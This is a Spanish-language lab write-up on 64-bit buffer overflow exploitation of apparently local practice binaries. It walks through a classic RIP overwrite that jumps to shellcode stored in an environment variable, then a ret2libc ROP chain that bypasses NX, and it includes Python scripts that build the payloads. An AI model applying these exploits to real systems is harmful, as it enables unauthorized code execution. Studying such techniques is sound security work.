Buffer Overflow 64bits
Buffer-OverFlow 64bits
CLASSIC
Comprobamos que el ASLR este desactivado.
Con ghidra podemos ver el codigo fuente del binario, y vemos que la funcion main llama a una funcion vuln.
El codigo de vuln vemos que tiene seteado un buffer de 400 y utiliza la funcion puts la cual se considera insegura.
Con gdb podemos un breakpoint in main y creamos un pattern de 400
Ejecutamos el programa y le pasamos ela rchivo buffer donde hemos almacenado nuestro pattern
“c” para continuar
Hemos sobreescrito algunas partes del programa pero RIP aun no. Sacamos la direccion de RSP y miramos cuanto es el offset.
Probamos a sobreescribir el RSP con “B”.
Creamos un script para crear el payload y poder sobreescribir el RIP
#!/usr/bin/python3
from struct import pack
buffer = b"A"*104
buffer += pack("<Q", 0x42424242)
buffer += pack("<Q", 0x42424242)
buffer += b"C"*288
prueba = open("buffer-rip.txt", "wb")
prueba.write(buffer)
Conseguimos sobreescribir el RIP, ahora tenemos que aprovecharnos del environment del user para añadir un envinronment malicioso y asi llamarlo desde nuestro payload
https://www.exploit-db.com/exploits/42179
Utilizo la llamada a bash del exploit y lo incorporo a mi env de mi user:
Con esta herramienta sacamos la direccion en la que hace una llamada al env nuestro programa.
https://raw.githubusercontent.com/historypeats/getenvaddr/master/getenvaddr.c
La añadimos a nuestro script que nos crea una rchivo con el payload malicioso
#!/usr/bin/python3
from struct import pack
buffer = b"A"*104
buffer += pack("<Q", 0x7fffffffc0a8)
buffer += b"C"*288
prueba = open("buffer-rip.txt", "wb")
prueba.write(buffer)
Para poder ejecutarlo utilizamos la siguiente string y ejecutamos el programa, y obtenemos una bash.
RET2LIBC
Con ghidra leemos el codigo de ret2libc y es igual a classic.
Lo unico que cambia es que este binario tiene la proteccion NX (no execution) habilitada.
Para bypassear esta restriccion, buscamos con ropper una direccion que contenga rdi.
Apuntamos la direccion de pop rdi, sacamos la direccion de system y de sh
Construimos el script para generar una rchivo con un payload malicioso.
#!/usr/bin/python3
from pwn import *
from struct import pack
#direcciones
#p.system= 0x7ffff7e1b860
#pop.rdi= 0x4006a3
#sh= 0x6006ff
#rop = pop.rdi+sh+p.system
buffer = b""
buffer += b"A"*104
buffer += pack("<Q", 0x4006a3)
buffer += pack("<Q", 0x6006ff)
buffer += pack("<Q", 0x7ffff7e1b860)
prueba = open("buffer.txt", "wb")
prueba.write(buffer)
Lo ejecutamos como anteriormente y obtenemos una bash de nuevo.